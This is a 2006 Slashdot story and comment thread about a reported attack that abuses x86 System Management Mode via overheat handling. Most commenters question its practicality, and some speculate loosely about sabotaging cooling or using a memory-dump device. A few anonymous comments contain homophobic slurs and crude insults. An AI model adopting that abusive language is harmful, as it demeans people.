Pentium Computers Vulnerable to Attack?

An anonymous reader writes "One of the latest security scares is coming from security experts at CanSecWest/core '06 in the form of a possible hardware-specific attack. The attack is based on the built-in procedure that Pentium based chips use when they overheat. From the article: 'When the processor begins to overheat or encounters other conditions that could threaten the motherboard, the computer interrupts its normal operation, momentarily freezes and stores its activity, said Loïc Duflot, a computer security specialist for the French government's Secretary General for National Defense information technology laboratory. Cyberattackers can take over a computer by appropriating that safeguard to make the machine interrupt operations and enter System Management Mode, Duflot said. Attackers then enter the System Management RAM and replace the default emergency-response software with custom software that, when run, will give them full administrative privileges.'"

Comments

the sky is falling

[Anonymous Coward]

physical access means the h4x0rs can take over your computer now, news at 11.

Re:the sky is falling

[Anonymous Coward]

Yeah no kidding! This just in from the 'obscure attacks that nobody without physical access can duplicate' department... What a nutsac.

Re:the sky is falling

[ChazeFroy]

The Cansecwest presentation is here.

Re:the sky is falling

[Anonymous Coward]

I think Mr. Duflot is assuming that the Pentium's defenses will surrender as quickly as the French do...He may be wrong.

Aren't you already screwed?

[saleenS281]

What am I missing here? If they already have that much access to the system, aren't you already screwed?

Re:Aren't you already screwed?

[Ars Dilbert]

I suppose this could be used to elevate one's privileges. Restricted user runs the exploit code, and it spawns a process that runs under admin or system credentials.

Re:Aren't you already screwed?

[boxxa]

Yes. You really need to consider if you have low level techs or employees with that much access to a machine. Would a compromised system still be vaunerable after a reformat or would the attacker need to reapply the exploit to get admin priviliges again?

Re:Aren't you already screwed?

[merlin_jim]

Yeah that's what I'm thinking - if they have already got authority to overwrite your System Management RAM and reprogram your CPU interrupts... one of two things have occurred:

1. They don't NEED to do any of it because they already own your box

2. The system designers really fucked the pooch good on the security design of these components

Come on even Windows knows that not just any Joe User should be able to reprogam the CPU interrupts...

Re:Aren't you already screwed?

[towsonu2003]

FTFA: Cyberattackers can take over a computer by appropriating that safeguard to make the machine interrupt operations and enter System Management Mode, Duflot said.

If they already have that much access to the system, aren't you already screwed?

Decide already... Is this a cyberattack (online) or a physical attack (you sit in front of the computer and take out a blowtorch)??

Re:Aren't you already screwed?

[Ucklak]

I think a scenario could be for access through a client.

Re:Aren't you already screwed?

[NewWorldDan]

The signifigance would be a machine that has been stolen and you either want to decrypt some data or impersonate the rightful owner of the machine. Either way, the practical considerations of implementing such an attack are so far out there that I can't imagine even the spookiest government agencies trying this one for real.

Re:Aren't you already screwed?

[mercut]

What a crock. At least the editors could have linked to the actual presentation (beware, it's a ppt). I was at CanSec West and this is not as scary as you would think. The exploit requires escalated privileges to begin with. The only thing it can currently be used for is bypassing secure levels inside of OpenBSD, where you already have root. Next time the editors could do a little research before posting, oh wait, this is slashdot. --m

Re:Aren't you already screwed?

[Anonymous Coward]

I did it.

-- Jack Bauer

Re:Aren't you already screwed?

[Penguinoflight]

Very true; If an attacker already has enough privileges to run a hardware level attack (fake an overheat), they already have root access. On the other hand, physical access is always a failure already. The only thing I would use an attack like this against would be a system storing an encrypted volume. Even then you can usually get around the encryption in some more traditional way.

Re:Aren't you already screwed?

[Anonymous Coward]

Mod Parent Up. This is an interesting presentation, but it's not nearly as scary as one might think.

Re:Aren't you already screwed?

[gfody]

you mean Chloe O'Brian did it while you were electrocuting president logan's nipples with a busted lamp

Re:Aren't you already screwed?

[anti-trojan]

Of course.

But in this case, the attacker could be the person that sold you the CPU. Even though you formatted the hard disk and installed the OS yourself, your system will still be vulnerable.

This type of attack can be theoretically made using a modified BIOS, but even that won't survive a casual BIOS update. Infecting the CPU is much harder to detect.

Re:Aren't you already screwed?

[Kadin2048]

I could think of a few other ways to cause an overheat which aren't necessarily physical console access. They're not really remote exploits either, but let's say the target was in a datacenter. Even if you couldn't get into the datacenter, maybe you could interfere with the air conditioning equipment. (Which is usually outside / on the roof and less secure than the data equipment itself.) Or more simply perhaps, bribe/convince a janitor or someone in physical plant operations to divert or shut down cooling to a particular area after hours. Not to mention (against a desktop PC) the BOFH-style "air filter" attack. The point is, there are ways to make a system overheat that are potentially easier than compromising it in some other way might be, or less obvious than them. Having a system overheat, shut down, and then return to normal operation might not raise too many red flags, compared to discovering a keylogger or tap; it might get treated as an infrastructure problem rather than a possible break-in, delaying discovery.

It's probably not something that some guy in his basement in Russia is going to do to you, but if you have valuable information on a computer, it's another avenue of attack that you have to defend against, or at least be aware of.

Re:Aren't you already screwed?

[moro_666]

why would you have to fake the overheat ?

if you've got p4's installed in the machine, there's no need to fake anything, it's already in the package.

aside from joking, badly written software that puts way too much pressure on the cpu, can overheat a badly ventilated machine. in some countries you just have to syncrhonize your attack with the weather conditions (over here it pops over 40C in the summer, a bit load on the machine and it will overheat by itself, no torch needed).

and eventually there's no ultimately secure machine, there're just machines that are harded to hack.

Re:Aren't you already screwed?

[Anonymous Coward]

I think the so called attack is entirely hype. Why should a CPU overheat in the first place? A properly designed and made cooler block and fan as used by brand name PC makers will dissipate any possible thermal load, not just the TDP, but way beyond. Therefore you would have to open the chassis to stop the fan manually. Brand name desktop PC machines all have chassis intrusion sensor and so the sysadmin will see via immediately via SNMP that Joe Job is fiddling with something he should not and send the security guard. Also, most big companies have their PCs made sealed with a brass lock or tamper-evident tape, so employees do not steal video cards and other components or replace the HDD with a smaller one to boost their home PC for free.

Re:Aren't you already screwed?

[Mysticalfruit]

This is what I think you could do if you had the right piece of hardware.

My thinking it would be a USB device that when inserted into a port and is detected by the USB hardware sends a command to the memory controller that sends a command to the processor.

The machine would immediately freeze and dump its entire memory contents onto the USB device, then the machine would go into an instant power off state.

You could then go back to the crime lab and disect the memory byte by byte and see what the person was up to, what data was yet to be written to disk, etc.

What about MMUs

[Anonymous Coward]

someone could do the same with ANY interrupt handler... oh wait... an MMU would protect against that.

Re:What about MMUs

[Mike Savior]

Opteron has a built in MMU, does it not? If so, this article is just underhanded FUD.

Re:What about MMUs

[CapPicard]

I believe it does IIRC. So, it's moot.

FUD?

[KaiserZoze_860]

Not alot of details about what chip families are effected... Does it cross over to AMD chips?

Re:FUD?

[egburr]

From TFA: "Every computer that runs on x86 chip architecture may be vulnerable to this attack"

Re:FUD?

[Anonymous Coward]

Judging by the contradiction between the article headline and the mention of "every computer that runs on x86 chip architecture" I can't really tell either. I wouldn't necessarily call this FUD though.

Re:FUD?

[PsychicX]

That's where this article gets a little sketchy.

When the processor begins to overheat or encounters other conditions that could threaten the motherboard, the computer interrupts its normal operation, momentarily freezes and stores its activity,
Ok, fine.
Every computer that runs on x86 chip architecture may be vulnerable to this attack
Wait. How did we get here?

Let's go through this, again. Intel Pentium 4s are hot. No surprise there. They enter special modes when overheating that may introduce a security vulnerability. Fine. How does this cross over to AMD and Via chips again? AMD and Via processors don't have special modes like that. If system heat becomes critical they will simply shut the system down flat out. On a Pentium 4, overheating is not entirely unexpected, particularly on the high edge of the clock speeds. On an AMD or Via, overheating is a major failure condition, probably caused by a heatsink falling off.

So, how are all x86 chips vulnerable, exactly? (Incidentally, between this and this, AMD is really looking to be a much safer deal, not to mention faster, cooler, more power efficient, etc.)

Re:FUD?

[Tim Browse]

Yikes!

/runs to switch off IBM PC AT in the corner

Re:FUD?

[c_forq]

If system heat becomes critical they will simply shut the system down flat out. On a Pentium 4, overheating is not entirely unexpected, particularly on the high edge of the clock speeds. On an AMD or Via, overheating is a major failure condition, probably caused by a heat sink falling off.

You are a little off. What a P4 does is "speed stepping" where if it is overheating it will down the clock and avoid areas on the chip that are the hottest, if it gets too hot it will shut down completely. This is designed so that permanent damage does not happen as a result of heat. AMD also has a similar feature now (or claims to, I've heard some cases of people having a heat sink failure and their AMD being trashed as a result), but they didn't used to (it used to be an AMD CPU would cook itself to permanent destruction if it was overheating, there is a good video of a few AMD chips lighting on fire at Tom's Hardware demonstrating this).

Re:FUD?

[Anonymous Coward]

yes, AMD chips just fucking melt on the spot. No need to attack it no more, shit's dead already. (nothing against AMDs, im using one myself :))

Re:FUD?

[HairyCanary]

(it used to be an AMD CPU would cook itself to permanent destruction if it was overheating, there is a good video of a few AMD chips lighting on fire at Tom's Hardware demonstrating this).

Yeah, because heatsinks coming unlatched all by themselves and falling off has been shown to be a common occurence.

Re:FUD?

[ThePiMan2003]

As someone who has spent years fixing computers, you would be surprised how often that happens.

Re:FUD?

[happyemoticon]

Naw, AMD chips don't enter hardware interrupt mode when they overheat, they violently explode: http://www.azfar.name.my/2005/02/amd-duron-explode .php.

Re:FUD?

[egburr]

Yeah, because heatsinks coming unlatched all by themselves and falling off has been shown to be a common occurence.

It happened to my wife's computer. The case is behind her desk, so I'm pretty sure nobody was picking it up and dropping it. One day it started spontaneously turning off after only a few minutes of use. After a little frustration at not even being able to complete any diagnostics on my CD, I finally pulled the desk out and opened the case up. I found the heatsick hanging from one peg, and the strength of the spring arm caused the heatsink to be held away from the CPU. It turned out that the lower peg (a stub of plastic poking out of the base of the CPU socket) had broken off. Repairing that was a pain; those heatsick spring arms are strong! I finally epoxied the arm to the base and weighted it down with a screwdriver wedged under a board with 6 bricks on top. The next day, it was working as good as ever.

Re:FUD?

[kilodelta]

I happen to know how AMD chips respond to overheat. You see, when I was in posession of a tower computer, I used the cheapest components I could when it came to things like fans.

So every now and then the CPU fan would crap. This was only and AMD K6-2 500Mhz chip but when that baby got hot, Windows 2K would BSOD like crazy. That was my cue to go out and buy another fan for $5.00. Hey, they lasted a year or so each so no big deal.

So that's how AMD chips respond to overheat, at least in my experience.

Re:FUD?

[Chris Burke]

You are a little off. What a P4 does is "speed stepping" where if it is overheating it will down the clock and avoid areas on the chip that are the hottest, if it gets too hot it will shut down completely. This is designed so that permanent damage does not happen as a result of heat. AMD also has a similar feature now (or claims to, I've heard some cases of people having a heat sink failure and their AMD being trashed as a result), but they didn't used to

AMD added this feature in the Athlon XP (maybe not the first release... perhaps Thoroughbred?), but it requires motherboard support and thus took a little longer before it became useful. I wish it'd been in earlier; I once forgot to take the sticker off the bottom of a heat sink, fried the processor in seconds. :P

P4's speed stepping doesn't actually change the clock speed, it just changes the duty cycle so the clock runs full speed for a while, then not at all for a while. Not what I expected at first, but really an elegent solution since it doesn't require designing a complicated PLL, but gives the same effect as cutting the frequency in half.

For the GP: When the P4 enters this mode it isn't really overheating per se, it has simply gone above its Total Design Power. When intel reports power usage, in particular power usage as needed by OEMs who design cooling solutions, it doesn't use the typical method of maximum theoretical power usage (which is the number AMD reports). Instead, it uses a power usage that is safely above what the majority of commone code paths will see (which is substantially lower than maximum, easing the burden on the cooling system designers and letting them tout lower effective power usage). The clock gating is their method of ensuring that the power doesn't actually go above their stated power level -- unfortunately, when this happens it is usually during some extremely intense computations that you don't really want to slow down by 50%. I've seen reviews of P4 parts which show the effects of this. It looks really odd unless you know what's going on under the covers.

Re:FUD?

[Anonymous Coward]

Listen, we don't want to here about your chips of yester-year. No one cares about your little shit 500mhz machine sitting in your momma's basement because you can't a afford a chip that has been out for the last 3-4. Get a job FAG!!!

Re:FUD?

[kilodelta]

Oooo big words! I've long since upgraded bitch. Bought a new machine in December of '05. So it it's only a little over four months old.

It dumps heat quite well. And I do have a job,very nice one in fact. And the ad hominem attack wasn't very nice. I'm going to have to tell your momma.

Re:FUD?

[Bert64]

AMD had such a feature too, an auto shutdown if the processor got too hot... The problem tom's hardware identified was that this feature only checked the temperature every couple of seconds, so while it could cope with a fan dying and the cpu/heatsink gradually heating up, it couldn't cope with the sudden rise in temperature associated with total removal of the heatsink.

Re:FUD?

[Shanep]

Yeah, because heatsinks coming unlatched all by themselves and falling off has been shown to be a common occurence.

Years ago I scored myself an Athlon 700 which was thrown out. When I got it home, guess what... heatsink had become unlatched and fell off enough to loose contact with the CPU. I fixed the dodgy latch hooks and it's been great for the past 4 years or so.

The person who threw it out was probably fed up with the few minutes of uptime they could get. ; )

Re:FUD?

[geekoid]

but forgetting to put the paste on is.

Re:FUD?

[sznupi]

Feature was added in Palomino.

Re:FUD?

[Anonymous Coward]

YHBT. HTH. HAND.

Re:FUD?

[toddestan]

Yeah, because heatsinks coming unlatched all by themselves and falling off has been shown to be a common occurence.

The first Athlon's had no protection whatsoever. Sure, the heatsink coming off would produce smoke, but something as simple as the CPU fan dying would cause the CPU to slowly cook itself to death. My Athlon system was like that, and as a result I was a little leery about leaving it running unattended. Later, due to the crappiness of the Via chipset, I replaced the motherboard with one of the later ones with the thermal protection built into the motherboard. This protection would protect against something like a dead fan, but supposedly isn't quick enough to kill the power if a heatsink falls off so you can still get smoke.

I don't know what the newer Athlon 64's do, but I suspect that AMD learned their lesson.

Re:FUD?

[Torne]

System management mode is present on all i686-class chips, including AMD. There are a number of ways to enter it, most of which depend on the motherboard - overheating a P4 is just one way.

If there exists any way to get an AMD processor on a given board to enter SMM for any reason, it's vulnerable to the same trick.

Physical access

[Toba82]

Physical access trumps all security. Everyone knows this. This really isn't news, just an interesting new exploit that happens to affect a lot of... systems that are already vulnerable from the same people in the same situation.

Move along, folks.

Re:Physical access

[Toba82]

If you can put in "boot straps into various areas" you may as well just use a boot cd. Also, how do you plan on causing the system to overheat over the network? That's hard to do with mondern systems.

Re:Physical access

[really?]

Wish I had mod points for you.

"Physical access" is one of the reasons why wireless will never - well, not anytime soon, anyway - be fully secure.

Re:Physical access

[Ex-MislTech]

I think ppl are missing the point, this is like the old virus CMOS death in some ways .

The twist the virus can set the overheat temp very low, so its easy to trigger via the virus,
and the virus also does something akin to a bios flash that uploads a custom bios
instead of just nuking the bios like cmos death did .

Its kinda like the firmware vulnerabilities that were present in some cheap routers .

and in cisco's case not so cheap ...and you don't have to be hands on to trigger it,
it can be done remotely .

Ex-MislTech

Re:Physical access

[Shanep]

"Physical access" is one of the reasons why wireless will never - well, not anytime soon, anyway - be fully secure.

Would you elaborate on that? I'm trying to understand the link between "Physical access" and "wireless".

I'm hoping that setting up an OpenBSD machine (sparc64) to be an AP where only authorized people who log into it through ssh are allowed access through it with authpf and then only IPSEC traffic, might be able to provide decent security.

Re:Physical access

[really?]

To make a long story short, sice the signals travel through the air, anyone has access to them. With enough will, one can "decode" them; so, basically, wireless networking lacks physical security.
Having said that, for most of the stuff that the majority of the people do, one WPA variant or another is good enough. Also, if one only allows IPSEC traffic one is somewhat less vulnerable.
I, for one, always run my APs open, but make sure all _MY_ traffic is secure. Yes I could add more layers, but, knowing me, that would actually make me less paranoid. This was I make DAMN sure I encrypt everything I push through.

Re:Physical access

[Shanep]

To make a long story short, sice the signals travel through the air, anyone has access to them. With enough will, one can "decode" them; so, basically, wireless networking lacks physical security.

Ahhh. The fact that the unphysical wireless technology broadcasts to anyone within "earshot", brings the security down in some respects to that which you could gain with "physical access". Although I've been well aware of the risks of wireless being sniffed, I've never really thought about it like that before. That's certainly an interesting challenge to some fundamental concepts. Wireless bluring the line between physical and remote.

I, for one, always run my APs open, but make sure all _MY_ traffic is secure. Yes I could add more layers, but, knowing me, that would actually make me less paranoid. This was I make DAMN sure I encrypt everything I push through.

Yes, complacency in network security is pure evil. ; )

Crap

[Ailure]

So anyone have any idea which Intel Pentiums processors that are affected by this? Every Intel processor with overheat protection?

Re:Crap

[Anonymous Coward]

Every Intel processor with overheat protection?

Well, any Intel processor without it is already dead, I would assume.

Which x86 processors?

[Acromion]

The article states this could be a problem for all x86 processors. Do older processors even have heat management? Also, wouldn't you need admin access to the system to be able to trigger this?

Sensational headline about a poor article.

[dfn_deux]

This hack assumes that the intruder already has write access to the nvram of the system. Also, the headline is just a cut/paste of a small portion of a poor article with few technical details. There is no PoC code, nor any specific chip mentioned. The headline refers to Pentium chips specifically and the articles says "any x86 based architecture, needless to say these are not interchangable terms... Shame on you Slashdot editors for posting this garbage...

Re:Sensational headline about a poor article.

[Jonboy X]

By this point you may be asking yourself, "WTF is FCW.com anyway?" Their about page explains:

Established in 1987, FCW Media Group uniquely integrates government, business and technology news and information to produce resources that help government IT decision-makers achieve results and meet agency missions. Our market-leading print, online, event and custom media products form an integrated information system that serves the information needs of all members of the government IT buying team-agency executives, program managers, IT managers and systems integrators-across all segments of federal, state and local government.

FCW stands for Federal Computer Week, a trade rag that US gov't stooges use to figure out how to best waste our tax dollars of shiny boxes with blinky lights. Their topic headings include the buzzwords:

• Defense
• Enterprise Architecture
• Executive
• Integrators
• Intelligent Infrastructure
• Product Solutions
• Program Management
• Security/Homeland Security
• Wireless

The anonymous submitter might do well to remain so. Scuttlemonkey, OTOH, may have to enter the witness protection program. He's getting as bad as Zonk.

Re:Sensational headline about a poor article.

[Godji]

It's not just garbage, but it sounds like anti-Intel FUD garbage to me...

Re:Sensational headline about a poor article.

[christopher240240]

Somehow, I got on these clowns' mailing list and they send their glossy rag to me regularly. Well, at least I'm getting some fancy toilet paper for my tax dollars.

RAM access?

[Bogtha]

Attackers then enter the System Management RAM and replace the default emergency-response software with custom software that, when run, will give them full administrative privileges.

How is it that an unprivileged user can write to such a sensitive location in the first place?

Re:RAM access?

[LiquidCoooled]

Geeks will allow any sufficiently good looking users access to sensitive locations.

How do you think Jessica Simpson got her admin privileges?

Re:RAM access?

[Cleveland Steamer]

See this comment for how a priviledged user can access SM RAM.

Security Experts Untie!

[AKAImBatman]

I am so glad that we have legions of Security Experts to protect us against every possible Rube Goldberg attack out there. Thanks to their tireless commitment to security, I can sleep safer at night by knowing that no one will take a blowtorch to my processor, install custom software, and then override the security safeguards that they could have gotten through by booting into safe mode. These people are truly a God-send. </sarcasm>

Re:Security Experts Untie!

[Anonymous Coward]

Well that would be kind of redundant since your machine is probably pretty flaming already. No one wants to see your gay porn and web cam pictures of you touching yourself at night or exploting a rectum, batman, or should I say Alex P Keaton. FAG!!!

Re:Security Experts Untie!

[quarkscat]

No doubt the Department of Homeland Security Department will be tapping the pool
of Security Experts(TM) at FCW for their next IT/Security management position. Thank
goodness!! Certainly wouldn't want the DHS to make another $6 Billion USD mistake
buying Microsoft server software. Of course, the caviat about limiting physical access
to the DHS servers might mean they will need to hire a more expensive night cleaning
crew.

Oh, wait! A collossal government agency that focuses more attention on wiretapping
every American man, woman, and child's voice and data traffic, all while leaving USA
borders and ports unsecured 4 years after 9-11 will not care about this report. What
part of the term "oxymoronic" doesn't apply to the Department of Homeland Security?

nice firstname but appropriate lastname

[Anonymous Coward]

Duflot could be translated from french to "From The Flow"

Good Times

[allanc]

Remember that old Good Times virus hoax? People who were In The Know knew that it was a hoax because it claimed that, just by opening it, it could physically destroy your computer.

Then a few years later, Microsoft brought us Outlook with automatic attachment opening, making the first part possible, and now Intel has given us the potential for the second part.

Good Times apparently wasn't a hoax, it was just ahead of its times. :)

Re:Good Times

[Anonymous Coward]

Yeah right, this is as much a hoax as anything. If someone can do what this article suggests then you've already been hacked. Therefore this is really a non-issue.

It's like saying "Well, someone can change your boot scripts and load any program they want (!!!!) if they update the files in /etc/init.d/ !!!00!!OMG!!!". Yeah... whatever

Re:Good Times

[SirDaShadow]

just by opening it, it could physically destroy your computer.

I think Commodore beat everyone up in terms of being ahead of time...try 1977!

Re:Good Times

[Kjella]

Then a few years later, Microsoft brought us Outlook with automatic attachment opening, making the first part possible, and now Intel has given us the potential for the second part.

Well, "hardware attacks" existed before too. There were some that would send your screen a refresh rate it couldn't handle, and it'd be destroyed (this is back in the text-mode days). Of newer things, some viruses would overwrite the BIOS, which I believe required reflashing in laptops which didn't have a ROM copy to reset to. There's a few other I seem to remember too, none of which were very widespread.

Re:Good Times

[ObsessiveMathsFreak]

Then a few years later, Microsoft brought us Outlook with automatic attachment opening, making the first part possible,

The watershed for me, will always be the IE images exploits, where a malicious website could run code, simply by your browser attemtping to download a carefully crafted image file.

There I was, for years, telling people; "There's no way you can get a virus by just looking at an picture on the internet". Boy was I wrong.

Bottom line, not matter what you pronounce impossible through software, invariably, somewhere out there, there exists a bug to accomplish just that.

Re:Good Times

[Mr Z]

So I wasn't the only one reminded of the nth-complexity infinite binary loop? Oh, and get this, this backdoor is triggered how? By replacing the code the CPU runs when it overheats. So... hmmm... Hoax, or just a decade ahead of its time?

Re:Good Times

[Anonymous Coward]

it's a feature

But how?

[telbij]

I'm no security expert, but I don't see how this inherently indicates any particular vulnerability:

Cyberattackers can take over a computer by appropriating that safeguard to make the machine interrupt operations and enter System Management Mode, Duflot said. Attackers then enter the System Management RAM and replace the default emergency-response software with custom software that, when run, will give them full administrative privileges.

How do they 'enter System Management RAM'? Presumably this is a local attack where you plug in some hardware to do this while the computer is asleep. How could this possibly work over a network? You also have to make the machine overheat...

Any more knowledgeable speculation on the real threat posed by this?

Re:But how?

[Anonymous Coward]

While I don't know the details of the security risk (if any); I do know quite a bit about system management mode.

SMM is present on many x86 processors and dates back to the days of NeXGen and Cyrix and 486s. It is basically a real-like mode of the x86 processor where certain hardware emulation type operations are performed.

The SMM software usually resides at A000:0000 which is normally video memory in a PC. However, in SMM the address decoder actually mapps those addresses to physical RAM and runs the SMM kernel to service various requests.

The types of requests that can cause entry to System Management mode are varied and depend on the implementation of the x86 processor. The CPU I am most familiar with is the National Semiconductor Geode series (now in the hands of AMD, I believe). This single-chip CPU behaved almost like a PC (when used with a few, low-cost companion parts). It did this without wasting silicon real-estate by emulating all the crazy ports and nonsense of a legacy PC with SMM software.

For example, there was a simple audio DAC wired up to the CPU. But you can make it look like a soundblaster by writing a virtual device driver. I/O to the sound blaster ports, DMA controller (well, brain-damaged ISA DMA controller), and memory mappings (if any) would result in traps to the SMM kernel, post a message into a queue which the SMM kernel would dispatch to a "soundblaster task" that figured out what you really wanted, maybe did some MMX arithmatic (hey, that chip had a real MMX unit!) and then shovel data to the DAC.

Software was none for the wiser and the hardware could be simple rather than a big legacy emulation machine.

SMM actually had its origins in laptops to handle power management tasks -- long before operating systems knew about power management.

Re:But how?

[Amouth]

"You also have to make the machine overheat"

well first thing is get it's link on the front page of /.

but then getting any packets into it is going to be the trick

Re:But how?

[whoop]

Obviously you haven't watched enough hacking movies to know even the noobest hacking methods.

HACKING 101 - Entering system management ram:
Sit at a computer desk with a minimum of 3 monitors in a darkly lit room, a lit cigarette is resting in an ashtray. Then type, "ENTER SYSTEM MANAGEMENT RAM" and press enter. The screen will flash "System Management RAM access granted" across the middle of the monitor.

HACKING 102 - Replacing the emergency-response software :
Now, take that floppy that you carry with you at all times out of your back pocket. Put it into the computer. A window pops up in the center of the screen with a list of the files in a MSDOS dir style. This is when the cute pretend nerdy girl who's been tagging along throughout the movie pops in to offer you a Mountain Dew. There is an awkward moment when she sees your file list of PRON.GIF, XXXPASSWORDS.TXT and HACKED-EMERGENCY-RESPONSE-SOFTWARE.EXE. The first two are not needed at this time. Clck on the one that is named HACKED-EMERGENCY-RESPONSE-SOFTWARE.EXE. A big nifty progress meeter covers 75% of the screen with a headline, "Replacing Emergency Response Software."

Now, eject the floppy quickly and tell the girl, "Now we've got full administrative access. Come on, let's get out of here before the security guards make their patrol here." Then you run away together, taking her to your apartment where you show her some of those "administrative" access moves of yours.

Oh yeah. Cue sexy music.

Alternative Processors

[Chemkook]

Cool, another reason to switch to Sun or AMD.

Re:Alternative Processors

[Anonymous Coward]

Yeah, cause everybody knows that AMDs *never* overheat. ;)

Sensationalist

[MobyDisk]

This attack would already require the malicious software to already be running on the machine and already have super-user access. Once you get there, it doesn't matter. The attack is worthless. Unfortunately, the article is short on details - so you can't tell if there is nothing to see, or if the report is just bad. I suspect there is nothing to see.

Along a similar vein, I have developed a martial art where I can kill anyone in one blow. It requires that my opponent is already tied-up, asleep, and I have a gun.

Re:Sensationalist

[Anonymous Coward]

The article is short on details, but this hack could be a problem for people running multiple virtual servers on the same physical machine. One of the main purposes of running software like VMware is that even if one of your virtual machines gets rooted, the attacker can't get access to the other ones.

It's possible that this vulnerability would allow crackers to run machine code at Ring 0 priviledge level, which could cause major headaches for VMware users. Again, though, the article doesn't go into enough detail to know if this is the case.

Re:Sensationalist

[TheLink]

On one version of vmware workstation, I found that changing the system date on a guest to something invalid crashed the whole vmware software.

I reported this, hopefully it has been fixed by now.

Re:Sensationalist

[randyflood]

OK, first of all, this hack does not require physical access and a blow torch. These sort of events happen all the time. Every time your computer realizes it is hot and starts the fan, one of these events is occuring.

Secondly, this is a privelege escalation from root to system level. Why is this important? Well, imagine that there is a system that implements multi-level security. (It's a fun feeling to hack root on a box only to find out that root has no ability to do anything.) This vunerability may allow someone to circumvent that and gain access to the higher level. Yeah, it would be tough, and probably require some pretty bright people and some money to research. But those are exactly the things that the kind of hackers who would want to do such a thing have.

hello mcfly? anybody home?

[Anonymous Coward]

Exactly how is this news??? Are slashdot readers getting stupider by the day? With physical access anything can be broken, it's just a matter of a longer or shorter time lapse.

In other news...

[endrue]

Pentium computers are vulnerable to baseball bats!

Seriously, if they have access then you are screwed anyways...

- Andrew

Heh

[Moby Cock]

New Security Rule: Keep you wife's hair dryer out of the computer room!

Isn't it about time

[2names]

Seriously, isn't it about time that we made cracking/virus creation/etc crimes carry a very stiff sentence?

It's not just about recouping losses, it is about making the criminals - and that IS what these people are - fear the consequences of creating this type of thing. It seems like almost every day some new exploit is announced and we all have to check systems, hope for a quick patch, worry about exposure, yada yada yada. I'm fed up with it as I'm sure most other admins are.

Get caught creating a virus? 50 years in prison.
You run a botnet? 50 years in prison.
You cracked into the Defense Department? Life in prison.

We need to stop slapping these a-holes on the wrist and make the punishment severe enough to deter at least SOME of them.

Re:Isn't it about time

[Anonymous Coward]

Your values are pretty skewed from the rest of the population if you think creating a virus or running a botnet is worthy of 50 years in prison. Even violent crimes like non-premediated murder and rape typically don't generate prison sentences of that length.

Re:Isn't it about time

[geoffspear]

fear the consequences of creating this type of thing.

Fear the consequences of creating Pentium chips? I'm no fan of Intel, myself, but that seems a bit extreme.

Re:Isn't it about time

[2names]

I need to work on getting my sarcasm to come through more clearly. Sorry.

Re:Isn't it about time

[crabpeople]

Thats retarded. Spam you should get 50 years but virus writing?

parent is obviously scared by computers and computer crime. news flash, all computers have some sort of security problem. you cant lock people up and think that will solve all the computer security problems so you can sleep well at night. people who are clueless about computers advocate such hard line policies. its ignorance and fear and wanting to do something -anything- no matter how completely irrelevant and meaningless that action is.

Re:Isn't it about time

[qwijibo]

What we are you talking about? You realize that a lot of this activity is international, right? Some script kidding in China isn't going to be too worried about what the US is going to do if he violates a US law. There are no consequences most of the time, and that is what people have legitimate reason not to fear.

Also, many of the people doing these things are stupid kids. Come on, $25 for a 10,000 node botnet? That's someone who wants money to play whatever online game is hot these days, not someone with a mortgage. 50 years for a 13 year old acting like a stupid kid is a bit excessive. Summary execution for spammers I can get behind wholeheartedly, but your plan is just too extreme for minor nuisances.

I'm a sysadmin and I'm not fed up with all of the security bulletins and patches. Guess what, keeping up to date in my field of expertise is part of my job. Continuing education is a part of every non-trivial job. The trivial jobs are being outsourced or disappearing. The people you despise are justifying your jobs, just as criminals justify employing so many police officers.

If it makes you feel any better, most of the high paying technical jobs with big companies require that you have no felony convictions. Even if these people get a slap on the wrist, it may seriously limit their future options in life.

Re:Isn't it about time

[qwijibo]

You come across too much like the real whiners. Maybe a Monty Python or Simpsons reference as proof would help clarify the intent. =)

Re:Isn't it about time

[2names]

You think I'M out of line? Check out what Oklahoma is doing.

Re:Isn't it about time

[2names]

Those have both been good sources in the past, but they seem a bit played out. Maybe next time I'll whip out something from my Family Guy logs. :)

Re:Isn't it about time

[qwijibo]

That would do just fine.

"No sprinkles. For every sprinkle I find, I shall kill you."

Re:Isn't it about time

[Anonymous Coward]

My e-sarcasm detector needs an overhaul apparently. :(

Re:Isn't it about time

[couchslug]

These folks are also our job security. While the idealist in me would like computers to be as reliable as good pocket calculators, that would put me out of work.

Remember the F00F bug?

[ylikone]

I remember the good old days when you could send the instructions F0 0F to the Intel CPU and voila... crash!

Re:Remember the F00F bug?

[Linker3000]

Watch it, I think SCO has copyright on that!

Geekdom

[protich]

This was a script for a Geekdom show..

Wait wait wait

[MattyCobb]

I guess I didn't understand the article, but how are these people without any access (yet) to my system causing my CPU to overheat at will? Does this have to do with global warming and my AC crapping out? EH? I knew it was a damn conspiracy against me!

*/equip [EpicTinfoilhat]

More seriously why do they say Pentium at the top and any x86 later on... those don't mean the same thing...

Re:Wait wait wait

[tsotha]

I wonder about this. You know how lots of people have those fan controllers, you know, the ones that slow your system fans when the full CFM rate isn't needed? If you could hack into one of those controllers you could cause the CPU to overheat by turning off the fans.

Come to think of it, I had an old HP that integrated a fan controller on the motherboard. It might have been hardware-only, though.

Seems like a lot of hacking for a small payoff, but I think the path is there for some systems.

Re:Wait wait wait

[Kadin2048]

I don't know how PCs handle this, but on my PowerMac G5, there is actually a daemon that controls the fan and pump speeds in response to various temperature measurments. (There are some absurd number of temp sensors inside the case, off the top of my head there are sensors for each CPU core, the GPU, heatsink, intake air, hard drive bay, and back side of the motherboard / memory controller.)

It's possible to kill the daemon or boot up without launching it, but in the event of this, the hardware has a "fail safe" mode where all the fans go to max RPM immediately and stay there. Assuming none of the vents are blocked, this is enough to keep the system from overheating. (Actually it's more than enough, even fully loaded I can't get the fans to rev up that high under normal conditions; there is definitely some excess cooling capacity at room temperature.) I think it will also enter this mode if the daemon allows the temperatures to exceed a certain range, so that a "bad" or compromised daemon (i.e., if you got hacked) couldn't tell the fans to just shut off and let the cores melt.

So while there is software control of the cooling system, the hardware is designed so that you can't (easily) cause physical damage through software control.

It definitely is interesting though that we have gotten home computers to the level where they require this much self-protection in order to operate. I was looking inside mine and thinking how much like a car it is; basically it has a set of big fans that suck in air and blow it over a liquid-filled radiator. I wonder if people had similar reactions the first time they saw a liquid-cooled gasoline engine--wondering whether it was a good idea to design something that would destroy itself if the cooling system failed to function.

First virus with a temperature

[Anonymous Coward]

This is fantastic..now Antivirus tools can start monitoring my PC's temperature...anything above 98F and we've got to call the doctor.

Re:Ice cream!

[Anonymous Coward]

Off topic? Off topic?? The mods are on crack again.

Hellooooo: When the processor begins to overheat...

Keeping the computer cool is most certainly on topic!
P.S. Strawberry works best.

Not being a retard still work, though? Right?

